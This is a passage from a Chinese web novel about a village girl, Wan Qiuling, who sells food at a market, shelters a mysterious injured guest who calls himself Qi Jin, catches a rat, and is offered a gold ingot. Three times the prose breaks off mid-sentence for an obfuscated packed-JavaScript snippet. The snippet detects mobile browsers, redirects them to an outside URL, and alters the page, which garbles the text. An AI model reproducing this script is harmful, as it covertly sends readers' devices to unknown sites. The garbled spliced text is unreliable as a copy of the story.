段渊确实感到腹中饥饿，身体十分乏力，亟待进食。他并未受致命伤，只是遭人暗算后短暂昏厥，又在河水中漂浮多时，体力耗费殆尽。 昨日少女按压他的胸口，倒让他把呛入的水吐出来些。他暗自调息，受了些外伤，但并无大碍，便尝试用手臂支撑上半身，坐起身来。 “你别动！”万小兰赶紧阻止他，声音带着急切，“哎，我端过来就是了，你就在这儿待着。”这人脸色依旧苍白，好不容易醒了，万一又晕倒，她可没法跟阿姐交代。 “什么别动？” 一个温柔又带着疑惑的声音从柴房门口传来。 杜氏过完早，端着半碗秕谷，正准备来柴房这边喂鸡，顺便拿把锄头去菜地松松土，刚走到门口就听见小女儿的声音。 她疑惑地推开门，骤然看到柴房里有个陌生男子，吓得手里的碗差点没端稳。 “这，这是……兰儿，这是怎么回事？家里什么时候多了个人？” 万小兰也不知道怎么解释，干脆把姐姐的话复述了一遍：“阿姐说，就像咱们家是客栈，他是客人……会给很多房钱的客人。” 杜氏被女儿这没头没脑的话弄糊涂了，但她抓住了关键：客人。既然是客人，怎么不请到屋里坐，就这样扔在柴房？地上一堆稻草，像是在柴房过的夜。 “哪有这样待客的道理！”杜氏不解，大女儿做事向来妥当，怎么这回没轻没重的。 万小兰见娘脸色变了，索性闭上了嘴，只拿眼睛瞅着稻草堆上的人。 段渊适时开口，语调温和有礼：“不妨事的，伯母。是在下唐突叨扰，令媛心善，救了我一命，安置在此已是感激不尽。” 杜氏仔细打量这年轻后生。头发凌乱，一身衣服半湿不干的，还粘着泥水草屑，着实是狼狈模样。但他说话有条理，气度从容，一听就是读过书有教养的孩子。 “也是造孽，身上还湿着，躺一宿可别发起热来。”杜氏赶忙招呼，“兰儿，去灶上烧点热水。你这孩子，怎么不早点告诉娘！” 万小兰挨了一通训，偷偷瘪嘴。阿姐观察过，这人脉搏呼吸都稳当，不像有啥大问题，事出紧急，铺上干稻草已经很不错了。但她不敢顶嘴，老实去了灶屋。 杜氏开始张罗：“小伙子，你先歇着，我去收拾一下，再弄点热水吃食来。” 她寻思着，柴房哪是能住的地儿，得腾间屋子出来，还得找身丈夫的干净衣裳…… 而此刻镇上集市，为生意忙碌的万秋灵完全不知道，她即将要暂时失去什么。 21. 鲜虾饼 和之前不同，万秋灵这次带了一些鲜虾饼。 从捞来的虾米里挑出为数不多肥一点的，掐头去须，只留下饱满的虾身。做饼子时，把面粉和处理好的虾肉混在一起，蔬菜丝切得极细，只适当掺了一些，从主料变成辅料。 煎熟后的虾饼，金黄中透着诱人的粒粒虾红，香味也更添了几分荤鲜气。 捞虾、处理虾都费功夫，价格自然也要涨，定在两文一个，和村集市上的小肉包子一个价。她不敢做太多，毕竟只能勉强算个“半荤”，先试试看。 鲜虾饼没有准备试吃品，说到底还是虾米，又不是大虾，因此问的人不多。购买鲜虾饼的，大多是之前提过建议的客人，他们手头宽裕些，也爱尝新鲜。 相比之下，价格有优势、口味经过验证的什锦菜饼依旧卖得最好，回头客和新客都乐意买。 “不错，我就说这虾米得再多放些。”穿着细棉布衣裳的年轻妇人一口气买了五个鲜虾饼。 她和家里的娃儿们都喜欢吃这摊子做的饼，幺娃不爱吃菜，就挑着虾米吃，每次把什锦菜饼的两面皮都啃完，只剩一层芯子。她也试过自己买些虾和肉来做，可做不出这样的味道，娃儿们不吃。 年轻妇人又笑呵呵道：“妹子，你要不再试试做些肉饼子？我肯定也常买。” “可以啊，再过一段时间吧，您到时候多来！”万秋灵本也是要做肉饼的，只是想找到固定摊位再卖，客人多些，价格也能一步提上去。 收摊时，鲜虾饼还剩了两个，她打算留着自己加餐。 万秋灵利落地收拾好物件，先去粮食铺子补充消耗大的面粉，顺道买了一块面引子，又去肉摊上称了一斤猪肉。 镇上的猪肉价比岔路口屠户那儿稍贵一点，她记在心里，打算下次还是去找屠户多买。 最后去杂货摊要了点皂角，买完必需品，她便无心再多逛，心里惦记着家里新来的“客人”。也不知道那男人现在怎么样了，万小兰能不能应付得了？ 竹筐装满了新采买的东西，她沿着熟悉的路快步往前走。路过右侧巷子时，一个瘦小的身影猛地撞了上来！ 万秋灵被撞得一个趔趄，竹筐歪了歪，她下意识拽住了撞她的人。 是个小乞丐，脸上脏得几乎看不出原本的肤色。一双黑白分明的眼睛，因为惊慌而睁得极大，正惶急地看着她，想挣脱又不敢。 本以为又是趁机盗窃的，但她没有荷包，钱袋分装在两侧袖内和暗袋里，并无异样，应该只是意外。 她刚松手，就听见巷子另一端传来凶恶地喊叫：“小兔崽子，站住！看老子不打断你的腿！” 小乞丐僵在原地，浑身抖得厉害。因为撞到人耽误时机，提不起力气再逃。 万秋灵这才注意到他腿上有伤，裤子破了个洞，露出里头血肉模糊的膝盖。 叫骂声越来越近，电光石火间，万秋灵用力将他推进几步外的一条窄道，悄声道：“蹲下。” 小乞丐不明所以，但还是依言蜷缩起身子，尽力隐藏在杂物和垃圾堆里。 万秋灵迅速解下背上的竹筐，遮住小乞丐的大半个身子，又从地上捡了个破篓子放到筐上。做完这些，她才站回窄道的出口，从另一角度挡着。 几乎就在下一刻，两个面带怒色、满脸横肉的男人冲了出来。 到了巷口，他们左右张望，没找到逃窜的小乞丐，只看到一个村姑，正倚靠在墙边吃着什么。 “喂，那边的丫头！”其中一个男人粗声粗气地问，“看到有个小崽子跑去哪没？穿得破破烂烂，脏得很。” 万秋灵闻声扭过头，嘴里还嚼着饼。她腾出手指了一个通往集市的方向，含糊道：“好像……是往那边跑的，跑得飞快。” 两个男人不作怀疑，骂骂咧咧地朝那个方向追了过去。集市人多热闹，想找个刻意躲藏的小孩子可不容易。 等两人彻底走远，消失不见，万秋灵才收回视线。 今天小妹没来，她换了一个大竹筐装饼子，倒是误打误撞派上了其他用场。小乞丐非常瘦弱，竹筐加上篓子便把他遮得差不多了。 东西一件一件被挪开，小乞丐还紧紧闭着眼，缩成一团。 “他们走了。”万秋灵轻声道。 小乞丐这才敢睁开眼睛，确认真的安全后，劫后余生地大口喘气，连站起来的力气都没有。 是这个姐姐救了他……他望向万秋灵，眼里满是感激。 万秋灵则是看着他的膝盖出神。 她想了想，从竹筐里拿出另一个剩余的鲜虾饼，是用芭蕉叶子包好的，放在了小乞丐的身边。 “这个给你。” 她重新背起筐子，没有多问什么，也没有再停留，快步离开了那条巷子。 …… “咳……叫什么名字？” “晚辈姓齐，单字一个锦。” 堂屋的气氛有些严肃。 万老爹坐在主位，拐杖靠在桌子边，眉头拧着，脸色不算好看。家里突然冒出个大活人，他这个一家之主竟最后才知晓，正郁闷得很。 左手边的凳子上，年轻人换了套半旧的粗布衣裳，袖口明显短了一截，身上有些紧绷。他脊背挺得笔直，即便穿着不合身的衣服，也自有一股端正的气质。 年轻人的对面，是依照任务紧盯着他的万小兰，让这场谈话显得更像是审问。 万老爹盘问了他的来历，“齐锦”自称是麒岭县序锦庄的伙计。 “序锦庄？”万老爹眉头微微松动，这名字他熟悉。他有个姊妹就嫁到了麒岭县，早年回家探亲时还提起过，序锦庄是县里有名的绸缎庄，她夫家是做裁缝的，攀上序锦庄还吹嘘了一阵。 “我记得那商铺的老板就姓齐，你和他是什么关系？” 段渊态度恭谨：“晚辈算是齐老板的远房亲戚，如今在商铺里谋个差事，混口饭吃。” “远亲……”万老爹咀嚼着这两个字，眼底掠过一丝异样，但很快又恢复了正常。 他没追问远亲的这层关系，转而问道：“你既然遭遇劫匪，出了事，不赶紧捎信回去，或者找官府帮忙，怎么反倒要留在我这农村小户？” 段渊早有预料，不慌不忙地答：“晚辈正打算想办法去镇上寻个可靠的信客，托他带个口信回县里报平安。只是此地距麒岭县路途远，晚辈身上带着伤，状态不佳，实在不宜立刻奔波。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351021|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况且……” “晚辈这次本就是被派来平口镇附近办事的，恰好到了这边，自然是要等事情办好，才好回去复命。” 早晨和杜氏短暂聊过几句，他已经打听到这个村的名字，所属哪个镇，这番说辞倒也算合理。 “兰儿，摆桌子，要吃饭了！”杜氏的声音传来。 万小兰短暂放下阿姐的任务，进到灶屋一看，灶台上居然有一大碗冒着热气的肉汤。 “娘！”万小兰急了，“阿姐还没回来呢！” 虽然客人说会给银钱，可这肉是阿姐买的，该等阿姐回来一起吃才对。 杜氏忙着盛粥，应道：“娘知道，肉还留着一大半呢，等你阿姐回来再做新鲜的。客人身子虚，总得带点油水。” 听娘说还留了大部分，万小兰这才撇撇嘴，端上菜碗。 饭桌上气氛倒还算平和。段渊举止得体，吃饭几乎没有声响。 这后生还算有规矩……万老爹悄摸观察着，心里那点不快稍微淡了些，但也未完全消除。 等万秋灵回到家，放下东西就先往柴房去，却只看到空荡荡的干草堆。 人呢？她心里疑惑，扬声喊道：“小兰！” “阿姐，我在这儿呢！” 声音竟然是从她的房间里传来。 万秋灵快步走到西南那屋，推开半掩的房门，一眼就看到那个高大的身影。 他穿着洗得发白的旧布衫，把万老爹穿着正合适的衣服穿出了紧身衣的效果，正有些僵硬地半坐在炕沿。 万小兰就在门口，搬了个小板凳坐着，尽职尽责地“监视”着人家。 好诡异的画面！万秋灵稍微一想就明白了，这应该是娘的主意，把人挪到她的房间。 柴房不是挺好的……虽然事情有些超出预料，但她也不好当着人的面说什么。 “小兰，你出来。”她朝妹妹招了招手，“你这样盯着，客人怎么休息。” 万小兰终于结束了这漫长而枯燥的任务，欢呼一声，跳起来就往外跑，一边跑还一边揉眼睛，似乎是受了工伤。 万秋灵看向炕上的人，段渊也正看着她，两人的目光在空中交汇。 他气色比昨天好了许多，只是穿着不合身的旧衣服坐在女子闺房的炕上，让他颇为不自在，视线先一步移开。 “伯母……” 他刚起了个话头，就被万秋灵打断：“没事，你安心歇着吧。” 她并非古代的思维，不会因为男子借用了她的房间就接受不了，羞愤欲死的。 要知道在现代，万秋灵连一间属于自己的卧室都没有，随便来个客人都能征用她的屋，放假回去第一件事就是换床单被套，仿佛她也只是个暂住的“客人”，早习惯了。 她只是有点头疼，万小兰睡觉会说梦话啊！如果不是迫不得已，真心不想和妹妹一块睡…… “阿姐，你又买肉啦！”院子里，万小兰兴奋地翻看她背回来的竹筐，发现用荷叶包好的猪肉，眼睛发亮。 “嗯，你把竹叶椒拿些出来，得烘干捣碎，晚上要用到椒粉。” 万秋灵关好房门，打了井水洗干净手，这才挽起袖子往灶屋去。 22. 椒盐小酥肉 橘色的火光映亮了灶屋的一小片墙面，万小兰熟练地在灶膛生起火，嘴巴也没闲着，把白天发生的事情都汇报了一遍。 “他说他叫齐锦，是麒岭县绸缎庄子的。爹爹就问他，你和那齐老板是什么关系？他就答，是齐老板的远房亲戚。” 万小兰颇有当说书先生的潜力，把万老爹是如何盘问、齐锦又如何回答的，绘声绘色学了一遍。 听到“齐锦”这个名字，万秋灵翻炒竹叶椒的动作缓了下来。 绸缎庄老板姓齐，商铺名称又有一个“锦”字，可能是凑巧，也可能是个编造的假名。这人给她的感觉，不像是普通的伙计那么简单，但若说他是老板也不对，年龄就合不上。 竹叶椒本就在太阳下晒干了，灶膛里烧着小火，稍微烘烤一会儿就散发出略微呛人的椒香。万秋灵迅速将其舀出来，倒进干净的簸箕，铺开晾凉，之后再捣碎成粉末。 她端出做虾饼剩下的小半盆面糊，往里面加了点水和面粉，重新调匀，又拿了几个竹制模具。 “阿姐，又要做饼子吗？”万小兰好奇。 “你忘了？昨天答应给墩子的。”万秋灵熟练地在锅底和模具内涂上薄薄一层油，开始煎制。 昨天姐妹俩根本没法将昏迷不醒的男人抬回家，于是找了万能的大力士墩子帮忙。趁着天也黑了，夜色遮掩，费了好大劲才把人背回来。 她答应给墩子送些新口味的饼子，表达感谢，也拜托他先保密，墩子自然十分乐意。 “对哦，墩子哥出了大力气的。”万小兰想起早上尝过鲜虾饼的滋味，念念不忘道，“阿姐，多做几个吧，我还想吃鲜虾饼。” 万秋灵闻言笑了笑：“你一会儿先给墩子送去。放心，少不了你吃的，不过还是留着点肚子，晚上还有更好吃的东西。” 她特意磨了新鲜的椒粉，加上又买了白面和猪肉，正好先做一顿椒盐小酥肉吃。 面引子也有了，等空暇时，找屠户割些新鲜猪肉，肉馅饼和小笼包的研究就能提上日程。届时不管是售卖还是自家吃，都十分的有盼头。 小酥肉做起来不难。新鲜猪肉切成条，加些葱姜水，码上底味抓匀，先腌制一会。 没有淀粉，万秋灵在面糊里多打了个鸡蛋，有的做法还会加上皮蛋，据说口味很好。 肉条裹满调制的粉浆，油温七八成热时下锅开炸，表面微黄就先捞出。再转为大火，等油开始冒烟了，把酥肉倒进去复炸一遍，吃起来更脆。 她一边做饭一边思考，总感觉忘了点什么。 无意间看了妹妹一眼，忽地想起一个关键问题：“对了，那个客人，他有提过什么时候走吗？” 万小兰正在炸物的香味中陶醉，想了想才道：“他说，本就是要来咱们镇上办事的，得办完了才好回去交差。” 听起来不太妙啊……万秋灵心想。 昨天本来还没商量完，人又晕了，只好先带回来。她就打算先收留这男人一两晚，看着身板也结实，就扔在柴房里。 等他恢复些，无论是自行离开还是找人来接，都算仁至义尽。可现在听这意思，不像是一两晚的事。 那，那她岂不是要一直跟妹妹睡！万秋灵眼前一黑……不，应该是眼圈已经在发黑了。 她冷静下来反思，是不是为了生意有些冒进，被捷径冲昏了头？承诺的“重酬”，其实跟她平常画大饼一样，能不能兑现是未知数。但现在客人住下，她的睡眠质量是已知的！ 看来得找个机会问问，要么把这报酬落到实处，要么干脆点，早些将人送走。 晚饭难得多做了道菜，一盘椒盐小酥肉，一碟清炒莴笋片，还有一碗撒着葱花的蛋丝汤。主食是糙米混着精米蒸出来的，粒粒分明。 一荤一素一汤，饭还掺了白米，从万家如今刚有点起色、但仍需精打细算的情况来看，称得上丰盛了。 杜氏看着摆上来的菜，心里原本因女儿待客草率而有一点愧疚，此刻已经转变成因女儿而自豪。 灵儿做事向来有分寸，先前那么安排，必定有她的道理，杜氏欣慰。 万老爹没那么多虚礼客套，拿起筷子，直接夹了一块小酥肉放入口中，“咔嚓”几声，嚼两口就吞了，又去夹下一块。 他就知道这玩意儿肯定比汤药好使，吃着来劲。 这些饭菜落在段渊眼里，只能算作朴素。他自幼锦衣玉食，吃得精细，口感粗粝的糙米还是第一回吃。但他面上依旧淡然，没有流露出半分的不适或嫌弃。 和粥不一样，这样混着蒸出来的米饭吃着倒也干爽，莴笋清甜，蛋丝汤入口顺滑。而那椒盐小酥肉，的确称得上一个“酥”字。咬开焦脆的外壳，里面的肉依然柔嫩，椒麻和咸味恰到好处。 京城有名的明月楼也有一道酥炸肉条，配了五味不同蘸料，极尽精巧。眼前这盘酥肉，做法和调味都简单，吃起来却也称得上滋味妥帖。 他知道眼前这个家，全靠少女带着妹妹在镇上卖些吃食支撑着。 能在如此有限的条件下，做出这样的菜肴，已经远远超出他的预料。心里原本存着的心思，也悄然变了个方向。 “还吃得惯吗？”万秋灵开口问道。 段渊停下筷子，抬眼看向她，目光诚恳：“吃得惯，姑娘手艺很好。” 休息之后，他的嗓音不复沙哑，声线温厚，落在耳里很舒服。 听到他夸女儿手艺，杜氏高兴道：“合口味就行，小齐，多吃些菜！” “谢伯母。” 万秋灵心知他是吃过好东西的，这些浊醪粗饭不一定入得了眼。一时辨不出他说的到底真心话还是客套，但她倾向于后者。 她顺势切入正题：“对了，你既然要找人送信，得去镇上找才有。我明日可以顺带帮你打听一下可靠的信客。” “怎么好再麻烦姑娘奔走？”段渊面带歉意道。 万秋灵暗道，这有啥麻烦的，反正都要去摆摊，顺便的事，而且她这不是比较急嘛。 “不麻烦。”万秋灵话音一转，“但我对镇上的信客也不了解，怕找不到合适的人，把事情办砸了。要不然等齐公子身子好些，和我们一起去镇上？一路有个照应，你亲自去寻人，也更稳妥。” 她这小算盘拨得噼里啪啦的。既然客人要在平口镇办那劳什子的“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358828|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差事”，那就把他带到镇上去，总不好再回这十里外的村子吧？到时候找个客栈安顿下来，最好不要忘记许诺的报酬。 万秋灵睁着一双清澈明亮的眼睛望过来，贴心地提出了一个合情合理的建议。 段渊回想起，在河岸醒来，第一眼看到的就是这样一双带着惊惶、澄澈和警惕的眼眸，成为他混沌初醒时最清晰的记忆，难以忘却。 他想，面对这样的目光，怎么忍心拒绝。 段渊心底微微一动：“姑娘思虑周全。如此安排，自然再好不过。” 万秋灵见他答应得爽快，笑道：“那我们就这样说定了！” …… 夜深人静。 白日的烟火气和话语声消散，万家的小院沉浸在黑暗之中，偶尔有虫鸣声响起，隔了篱笆墙叫嚣着。 东屋里传来万老爹时高时低的鼾声，西屋靠北侧的房间，万秋灵和万小兰呼吸轻缓绵长。 就在这满院寂静之时，门口传来了一阵极其轻微的“吱呀”声。 一道高大挺拔的黑色身影悄无声息走出了院门，融入浓重的夜色。 直到行至一处视野相对开阔的空地，那道身影才停下来。 正是段渊。 他不紧不慢地从怀中取出一个手掌大小的革囊，外面采用的是经过特殊处理的兽皮，能够防水。里面装着几支小巧精细的物件，以及一个火折子。 在船上察觉不对时，他便提前将这几样东西贴身藏好，以防不测。只是没想到，他低估了那些人的心狠手辣、胆大包天，竟然在河道上公然下手…… 段渊熟练地拿出其中一只信烟放到平坦处，用火折子点燃。 一道赤色的光焰升至半空，片刻后湮灭不见。 他抬起头，望向夜空。月色朦胧，隐隐映照出他俊美无瑕的面庞。 段渊看着那被厚重云层包裹、显得有些黯淡的月亮，忽然笑了。 脑海中不由得回忆起少女提出同行邀请时的模样。她的眼睛很亮，纯净又真挚，但眼底却藏着一点小小的期盼。 如果他没料错，恐怕是盼着他这尊“大佛”快些离开，说不定一到镇上，便寻个由头分开。 当时在河岸边，若非他提前清醒，凭借最后一丝力气紧紧攥住她的手腕，她定然早就去寻里正，甚至不想让别人知道她是施救者。 段渊周遭的人，无不是谨慎揣摩着他的心思，迎合他的喜好。何曾有人像她这样，施以了援手，却又巴不得早些撇清干系，话里话外都盼着他快些走。 可奇怪的是，明明看破了她的小心思，他却并没有感到不悦、受伤，或干脆遂了她的意。 他依然按照直觉，试图靠近她。而她的反应，很是……可爱。就像是一只机敏的狸奴，竖起耳朵，用圆溜溜地眸子打量着他，如果不是有鱼儿在前，随时会转头跑开。 云团低浮，星辰稀疏，接下来一两日，恐怕都是雨天。山路泥泞，她的计划多半要落空了。 “万秋灵……”段渊低声呢喃。 夜风吹拂，云层吞没了最后一抹月光。万家小院又恢复了寂静，仿佛什么都没有发生过。 23. 抓老鼠 淅淅沥沥的雨声自凌晨开始敲打着窗棂，一夜不曾停歇。万小兰已经习惯早醒，此时到了点，睡眼惺忪地坐起来。 “阿姐，外边落雨了。” “唔……再睡会儿吧。”万秋灵拉起被子蒙过脑袋。雨后的山路湿滑难走，出摊是不用想了，集市必然冷清。 等早饭做好，杜氏才把两姐妹叫醒，难得下雨让孩子们多歇歇。 “小齐啊，还好你晚上收了衣服，不然要遭淋湿咯。” 杜氏昨天执意帮客人把换下来的衣裳搓了，顺手就晾在院子里。早上听到有雨赶紧起来，一看院里衣服不见了，问过才知是小伙子自个儿收的。 “劳伯母挂心。”那身黑衣还没完全干透，段渊仍穿着万老爹的那身旧衣服。 “这雨落了一晚上，”杜氏看着雨幕，又想起一桩事，“后山树林子该有菌子冒出来了，早点去说不定能捡些回来添个菜。” 万小兰听了，马上打起精神：“今天起得有些晚，只能捡他们剩下的了。阿姐，咱们快些吃，捡多少算多少！” 万秋灵点点头，加快速度扒完饭，两人戴上斗笠披好蓑衣，一人挎一只篮子，匆匆往后山赶。 段渊有心帮忙，但他顶着一副生面孔，遇见村里人不好说清。更何况现下衣着不便……于是只能作罢。 山上的大部分菌子果然被采走了。她俩逛遍了熟悉的几片地方，都来晚一步，只剩菌子被摘后留下的杆子和浅坑。 也余了些零碎的菌子，但都很瘦小，有的还没拇指大，摘半天，篮子只铺了一层底。 万小兰沮丧道：“就这么一点儿，哪里够吃嘛。” “没事，下次喊上娘，早些来摘。”万秋灵掂量了下，勉强能凑成一盘。 菌子的做法多样，不管油炸热炒还是煮汤，都非常合适。正好昨儿捣的椒粉还留了点，放久了会受潮，万秋灵干脆就用上。菌子挤出水分，和小酥肉一样，裹面糊炸了吃。 因着下雨无法出摊，反倒有了空闲，万秋灵便琢磨起买回来的面引子。 常说的老面馒头便是加面引子制作的，发面时揪下来一团，留着下次用，便是引子。理论上如此，但具体如何做，她就不清楚了。 杜氏见女儿对着老面疙瘩发愁，便擦擦手走过来：“发面这事儿娘有经验，以前在馆子里，别的娘帮不上大忙，发面蒸馒头倒是跟你爹学了个十成十。” 当年开馆子，万老爹包揽大局，杜氏做着收钱端菜等杂活，没想到发面这块也有她分摊着。 万秋灵眼前一亮：“娘，那咱们干脆就试试做馒头？一是许久没吃馒头了，二是等发面稳定，就添些面食到摊子卖。” 杜氏欣然答应，洗了手就开始和面。她手法娴熟，一看就是多年积攒出来的经验。万秋灵在一旁观看学习，万小兰惦记着白白胖胖的大馒头，围在另一边。 “吱……吱吱……” 一阵窸窣的声响，从灶屋柴堆附近传来。 万秋灵耳朵动了动，疑惑地看向站在柴堆那边的妹妹：“什么声音……小兰，你干嘛呢？” 万小兰茫然抬起头：“啊？我没动啊。” 她仔细听了听，也听到了声响，反而指向另一侧的米缸：“阿姐，好像是在你那边呢？” 那声音虽然细微，但却明显能感觉到在变换方向。杜氏揉面的手一顿，脸色微变：“坏了，别是家里进老鼠了吧！” 这话一出，三人顿时都紧张起来。现在声音又移回了柴火堆，万秋灵轻手轻脚地挪过去，打算从缝隙里观察。 “咻——” 一道灰黑色的影子猛地从角落窜出，直直奔向几个瓦罐堆放的方向。 “啊！真的是老鼠呀！”万小兰尖叫一声，原地蹦得老高。 万秋灵也被吓得头皮发麻，倒吸了一口冷气。她强作镇定，迅速抄起灶台边的烧火钳：“跑哪儿去了？” “那里！阿姐，它躲到水缸后面去了！”万小兰左看右看，也想找个家伙什，来个前追后堵。 小小的灶屋里鸡飞狗跳，乱成一团。 万秋灵拿着烧火钳，从水缸追到灶膛，万小兰一边大呼小叫，一边跺着脚踩空气，杜氏则忙着把面盆端到高处，生怕遭了殃。 “它要往门口跑了！” 叫喊声传到外头，万老爹皱了皱眉。往年家里有老鼠，都是他去逮住，可如今他腿脚不便，走动都要撑着拐杖，哪还追得过灵活的老鼠。 正好瞧见刚听到动静过来的年轻人，他很不客气地指使：“后生，灶屋有老鼠，你去看看，帮把手。” 段渊愣了一下，随即应允。 隔着房门他便听见灶屋里惊慌的呼喊，自是不能袖手旁观。他此行抓过人，查过案，应对过明枪暗箭，但逮老鼠还是头一遭。眼下没个趁手的工具，不过拿根木柴木棍，应该也足够。 刚走到灶屋门口，就听见里面传来一声低喝：“抓住了！” 紧接着，万秋灵先行走了出来。她鬓发有些松散，呼吸急促了许多，脸颊因为追逐而泛起红晕，手上紧紧握着一把烧火钳，夹着那吱吱乱叫的小老鼠。 她脸色紧绷，嘴唇抿成一条线，眼里仿佛燃烧着一簇火苗。 段渊还是第一次在她脸上看到毫不掩饰的怒气，看来当真是有些恼了。他眼底划过一丝浅笑，上前一步，伸出手。 “给我吧。” 万秋灵这才把视线从老鼠身上移开。举着烧火钳半天，手臂确实发酸，她没逞强，将钳子小心地递过去。 两人的手难免碰到，触感温热。段渊用余光瞥了她一眼，万秋灵正在气头上，完全没在意。 那只在她手里蹬腿扭动、不断挣扎的老鼠，到了段渊手里忽然连叫声都消失了，安静得像是假老鼠。 万秋灵毫不怀疑，这人用钳子捏老鼠使的劲不比攥她手腕小。 “抓住了！阿姐真厉害！”万小兰跟着跑出来，她也累出了一脑门子汗，不过没帮上什么忙。 杜氏探出头，心有余悸：“还好是抓着了，我去看看米粮有没有遭祸害。” 万老爹不悦地瞪了瞪段渊，这年轻后生真是白长这么大块头，都用不着他出手，女儿们就解决了。 他几不可闻地哼了一声，果然还是自家人靠得住，谁说女儿不如男！ 万秋灵此刻余怒未消，盯着罪魁祸首，眯了眯眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365998|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这死老鼠，还是个挑嘴的。之前家里一贫如洗，吃糠咽菜的时候，倒是晓得不来。这才刚买了点米面，还没捂热乎呢，闻着味儿就来了，直奔米缸去。 简直不要太可恶…… …… 夜晚，万秋灵睡得并不安稳。梦里总萦绕着一阵阵的“吱吱”叫声，仿佛那只小老鼠还在四处窜动。 半梦半醒间，那声音不仅十分清晰，似乎还离得很近，真是相当不妙了！万秋灵从梦中惊醒，胳膊上冒出了一层鸡皮疙瘩，她顺着声音的来源望去—— 万小兰睡得正香甜，小嘴微张着，发出细微且持续的阵阵磨牙声。 万秋灵：“……” 这小妹，还有什么惊喜是她不知道的？ 早晨起来时雨已经停了。 明明休息了整整一天，万秋灵却觉得比平日摆摊起早还要疲惫，整个人蔫了吧唧的，眼皮困顿地耸拉着。 杜氏正在收拾要用的农具，见她们起来，嘱咐道：“粥和馒头都在灶上热着的，记得喊客人和你爹过早。路上还是半湿不干，一脚下去都是泥，今儿个你们也别往镇上跑了，再歇一天吧！我穿草鞋下地去，把边沟啥的清一清。” 听到不用出摊子，万小兰想出去玩的心蠢蠢欲动：“太好了！那我上午先去找翠花她们耍一会儿。” 她先是帮阿姐将粥和馒头摆上桌，发动大嗓门把其余两个人喊起来，接着快速扒完饭，一溜烟跑出去找小伙伴了。 桌上一时间只剩下三人，堪称悠闲地吃着早饭。 段渊又换回了那身黑色的衣衫，万秋灵不由得多看了几眼。玄黑的衣料挺括干净，竟有几分焕然一新的感觉。 他眼眸清明，坐姿挺拔，精气神挺好，看来恢复得不错。 万秋灵回忆起昨晚糟糕的睡眠，她的精神头就不咋地了，这样下去可不行……想到这，她决定是时候试探一下。 而段渊却先一步停下筷子，他抬眼看向万秋灵和万老爹，语气平静地开口：“伯父，万姑娘，在下有一事想与二位商议。” 万秋灵闻言挑眉，这不是巧了，都有事想商议。她用眼神示意他继续说，万老爹也点了点头。 “在下思虑再三，恐怕还要多叨扰几日，不知是否方便。” 多留几日？完全不方便！万秋灵看向万老爹，使了个眼色。万老爹假咳了几下，却没吭声。 看来还得她来说。万秋灵在心里准备了一堆委婉拒绝的话，比如提醒对方身体既无恙，农村条件简陋，乡野不便，怕耽误了正事等等。 “这只怕……”然而，这些话通通卡在了喉咙口。 只见段渊说完，神色如常地将手伸入怀中，不知从哪摸出来一样东西，轻轻放到了桌子上。 “嗒”地一声闷响，伴随着段渊清润的声音：“一点心意，还望不要推辞。” 等看清那样东西，万老爹嘴里含着的一口粥险些喷了出来。万秋灵也惊讶地睁大眼睛，失了声，所有准备好的推拒之词，半个字也吐不出来。 布满了划痕的粗糙木桌中央，静静躺着一块沉甸甸的、璀璨夺目的船形物体。 我滴个乖乖，是金的！ 24. 财从天降 不是碎金，也不是小金豆，而是一枚金锭！整体像一只小船，两端翘起，中间和底部向内凹陷，便于叠放。 金锭表面打磨得十分光滑，錾刻着官印的纹样，其中就标明了重量——伍两。 五两金子……万秋灵深吸了一口气。 日常所用大多是铜钱，价值低，笨重不易携带，银子已经算是大额。而金子，尤其是这类带官印的金锭，通常在官府、大的商号或钱庄之间流通。 有钱人或许常见，但寻常百姓哪里摸得着金子？谁敢拿这个它去街上用，怕不是立马被当成盗贼或骗子抓起来。 “这只怕是……”万秋灵声音干巴巴地续上，原本要说的“不太方便吧”硬生生转了个弯，“找不开吧。” 嘴上调侃自家是客栈，可也不能真的当黑心客栈啊！就一破旧的农家院，全部家当合起来都不值这金锭的一个角。 万老爹从震惊中缓过神，赶忙道：“使不得，使不得！几顿粗饭，一席地，哪值当这个？” 父女俩都很默契地没再提什么不能留、不方便之类的话……有啥不方便的？挺方便的！ 段渊从容道：“是晚辈思虑不周了，金锭确实不便使用。因落水后，随身的物品大多遗失，只剩下这应急之物和一些零散的盘缠。” “当初在下承诺万姑娘必有重酬，绝非虚言。待与姑娘去镇上时，我便到钱庄将此金兑成银两或银票，还请务必收下。”他的语气真挚又诚恳。 万老爹虽知晓他向女儿许诺过酬谢，但还是觉得太过贵重：“这怎么好意思，太多了！” 段渊则是反复强调“救命之恩无以为报”云云。 